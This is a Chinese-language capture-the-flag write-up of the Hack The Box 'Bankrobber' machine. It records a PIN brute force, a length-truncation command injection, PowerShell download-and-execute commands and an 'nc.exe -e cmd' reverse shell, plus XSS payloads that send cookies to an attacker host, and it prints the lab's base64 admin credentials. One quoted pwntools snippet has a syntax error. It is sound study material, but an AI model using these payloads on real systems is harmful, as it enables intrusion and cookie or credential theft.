MariaDB [bankrobber]> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| bankrobber\cortin  |
+--------------------+
1 row in set (0.107 sec)

MySQL 以 cortin 用户身份执行。

910

nc -nv 127.0.0.1 910
(UNKNOWN) [127.0.0.1] 910 (?) open
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 1234
 [!] Access denied, disconnecting client....

910 就是 bankv2 占用的端口,但是该文件无法下载到本地分析。

这里思路是穷举四位数字,找到正确的 pin 值,然后再观察程序执行的结果。

使用 telnetlib 库:

python3+telnetlib实现简单自动测试 - zhengcixi - 博客园 参考 telnetlib 写法。

import telnetlib

host = "127.0.0.1"
port = 910
#for x in range(9999, 0, -1):
for x in range(10000):
    y = '{0:04}'.format(x)
    tn = telnetlib.Telnet()
    tn.open(host, port)
    # until [$] appear, write data, most wait time 2s.
    tn.read_until(b'[$] ', timeout=2)
    # write data
    tn.write(y.encode() + b"\n")
    # read
    s = tn.read_all().decode()
    #s = tn.read_very_eager().decode()
    if 'Access denied' not in s:
        print(s+y)
        break
    tn.close()
    #tn.write(b"exit\n")

找到正确的 pin 值 0021。

$ python tn.py
/home/kali/Documents/HTBox/Bankrobber/tn.py:1: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib

 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$] .........
 [!] You waited too long, disconnecting client....
0021

然后尝试命令注入漏洞:

$ nc -nv 127.0.0.1 910
(UNKNOWN) [127.0.0.1] 910 (?) open
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$] $(whoami)
 [$] Transfering $$(whoami) using our e-coin transfer application.
 [$] Executing e-coin transfer tool: C:\Users\admin\Documents\transfer.exe

 [$] Transaction in progress, you can safely disconnect...

输入 whoami 也没有回显,无法判断是否存在漏洞,还是通过请求本地 web server 的方式,与之前 Backdoorchecker 绕过方式相同:

asdsadasdqw||curl 'http://10.10.16.6/1'

但是输入该 payload,执行的程序不再是 C:\Users\admin\Documents\transfer.exe, 而是变成了如下内容。

[$] Executing e-coin transfer tool: 16.6/1'

猜测输入的内容太长,在程序中产生截断,截断后的内容被当作可执行程序,利用这一点成功执行命令,服务端收到请求。

本地不存在 curl.exe 所以使用 certutil。

asdsadasdqw||curl 'http://10.10.C:\Windows\System32\certutil.exe -f -urlcache http://10.10.16.6/1

image-20240505151513455

服务端:

image-20240505151919121

reverse shell

12345678901234567890123456890123C:\Windows\System32\cmd.exe powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.6/shell.ps1')

太长也不行,同时似乎导致服务崩溃了。

image-20240505152610994

[$] Executing e-coin transfer tool: C:\Windows\System32\cmd.exe powershell IEX(New-Object Net.WebClient).DownloadString(‘http://10.1

cp shell.ps1 s

尝试不写 cmd 的绝对路径,成功反弹shell。

12345678901234567890123456890123cmd.exe /c powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.6/s')

使用 nc,下载到最短路径的目录中:

curl http://10.10.16.6/nc.exe -o \xampp\n.exe

成功提权

12345678901234567890123456890123C:\xampp\n.exe -e cmd 10.10.16.10 1234

问题

udf -> imper -> priv 是否可行 不可行,通过 udf 获得的 shell 也没有 imper 权限。

  • 证明 SQL注入无法写入

Gebruikers 组用户只能读取和执行。

C:\xampp\htdocs\admin>icacls .
icacls .
. BANKROBBER\admin:(OI)(CI)(F)
  BANKROBBER\admin:(I)(OI)(CI)(F)
  NT AUTHORITY\Geverifieerde gebruikers:(I)(OI)(CI)(RX)
  NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
  INGEBOUWD\Administrators:(I)(OI)(CI)(F)
  INGEBOUWD\Gebruikers:(I)(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

python socket 包,在 python 中交互运行有 Access denied,但是脚本中运行就没有这个结果。

scheduledtask

$t=get-scheduledtask -taskname 'XAMPP start on boot'

$t.principal


DisplayName         : 
GroupId             : 
Id                  : Author
LogonType           : Password
RunLevel            : Limited
UserId              : Cortin
ProcessTokenSidType : Default
RequiredPrivilege   : 
PSComputerName      :

other

使用 powershell Invoke-WebRequest 的别名缩小长度

iwr -Useb http://0x0A0A1006/s|IEX
  • -Useb: UseBasicParsing

The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explore r’s first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.

依然失败:

12345678901234567890123456890123C:\Windows\System32\cmd.exe /c powershell iwr -Useb http://10.10.16.6/s|IEX
12345678901234567890123456890123C:\Windows\System32\cmd.exe /c "powershell iwr -Useb http://10.10.16.6/s|IEX"

WP

记录看过的个人认为有价值的 Writeup

https://0xdf.gitlab.io/2020/03/07/htb-bankrobber.html

XSS payload

XSS payload 可以将多个 payload 一次提交。

<img src="10.10.16.6/test.jpg" /> <script src="http://10.10.16.6/test.js"></script>
var request = new XMLHttpRequest();
request.open('GET', 'http://10.10.16.6/?test='+document.cookie, true);
request.send()

下面的payload失败不能窃取cookie

<script src="http://10.10.16.6/test.js"></script>
  • shell.js
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.16.6/shell';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);

other

function pwn() {
    var img = document.createElement("img");
    img.src = "http://10.10.14.19/xss?=" + document.cookie;
    document.body.appendChild(img);
}
pwn();

Brute Force Python

0xdf:

sys.stdout.write(f"\rTrying: {i:04d}") 可以实时显示 pin 爆破进度

#!/usr/bin/env python3

import socket
import sys


for i in range(16,21,1):
    sys.stdout.write(f"\rTrying: {i:04d}")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 910))
    s.recv(4096)
    s.send(f"{i:04d}\n".encode())
    resp = s.recv(4096)
    if not b"Access denied" in resp:
        print(f"\rFound pin: {i:04d}")
        break
    s.close()

自己写的脚本

最开始用 socket 库写的脚本运行时并不显示 Access denied。手动逐步执行却可以,当时不清除原因。

现在对比 0xdf 的脚本有了思路,整个流程需要接收两次数据。

如下代码,建立连接后的数据是第一次:

#!/usr/bin/env python

import socket

for x in range(1):
    y = '{0:04}'.format(x)
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',910))
    s.sendall('{0:04}'.format(x).encode())
    n = s.recv(1024).decode()
    print(n)
    s.close()

结果

 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$]

而发送数据后接收的数据则是第二次

<SNIP>
    s.sendall('{0:04}'.format(x).encode())
+   s.recv(1024).decode()
    n = s.recv(1024).decode()
<SNIP>

这一行代码也可以添加到 sendall 代码前。

结果:

[!] Access denied, disconnecting client....

所以脚本中最开始的脚本只接收了发送数据前的内容,但是在 python 中交互运行不存在这个问题。

此外写入的数据末尾需要添加换行符,否则即使 pin 值正确,结果依然是 Access denied

s.send(f"{i:04d}\n".encode())
s.send(f"{i:04d}".encode() + b"\n")

y = '{0:04}'.format(x)
s.send(f"{y}\n".encode())

优化后的脚本

#!/usr/bin/env python

import socket
import sys

for x in range(20,23):
    #sys.stdout.write(f"\rTrying: {x:>04d}")
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',910))
    input = s.recv(4096).decode()
    s.send(f"{x:>04d}\n".encode())
    resp = s.recv(4096).decode()
    if not 'Access denied' in resp:
        print(f'{input}pin:{x:>04d}\n{resp}')
        break
    s.close()

other

from pwn import *
for i in range(0,9999):
    pin = str(i)
    code = pin.zfill(4)
    r = remote("localhost", 910)
    r.recvuntil("[$] ")
    r.sendline(code)
    response = r.recvline()
    r.close()
    if b:"Access denied" not in response:
        print(code)
        break

scheduledtask

触发 XSS 的原因:

查看计划任务

schtasks /query

<SNIP>
Folder: \bankrobber
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
Admin request                            5/6/2024 4:38:05 AM    Ready
bankapp                                  N/A                    Ready
Kill hanging phantom                     5/6/2024 4:36:50 AM    Ready
Truncate comments                        5/6/2024 4:36:14 AM    Ready
XAMPP start on boot                      N/A                    Running
<SNIP>
schtasks /query /TN "bankrobber\Admin request" /V /FO list

Folder: bankrobber
HostName:                             BANKROBBER
TaskName:                             bankrobber\Admin request
Next Run Time:                        5/6/2024 4:38:05 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        5/6/2024 4:34:56 AM
Last Result:                          0
Author:                               DESKTOP-62OTOFV\admin
Task To Run:                          C:\Users\admin\Documents\phantomjs\bin\phantomjs.exe C:\Users\admin\Documents\phantomjs\bin\get.js
Start In:                             N/A
Comment:                              Simulate an admin request with PhantomJS
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode
Run As User:                          admin
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Daily
Start Time:                           5:06:05 PM
Start Date:                           8/16/2019
End Date:                             N/A
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        0 Hour(s), 4 Minute(s)
Repeat: Until: Time:                  None
Repeat: Until: Duration:              24 Hour(s), 0 Minute(s)
Repeat: Stop If Still Running:        Disabled

查看行数

type C:\Users\admin\Documents\phantomjs\bin\get.js | find /c /v ""
16
  • /V, 显示所有未包含指定字符串的行。
  • /C, 仅显示包含字符串的行数。
type C:\Users\admin\Documents\phantomjs\bin\get.js
var page = require('webpage').create();

function newCookie(name,value){
    phantom.addCookie({
        'name'   : name,
        'value'  : value,
        'domain' : 'localhost'
    });
}
newCookie('username','YWRtaW4%3D');
newCookie('password','SG9wZWxlc3Nyb21hbnRpYw%3D%3D');
newCookie('id','1');

page.open('http://localhost/admin/index.php',function(){
    phantom.exit();
});

设置 admin 用户 cookie,每4分钟运行一次,加载管理页面。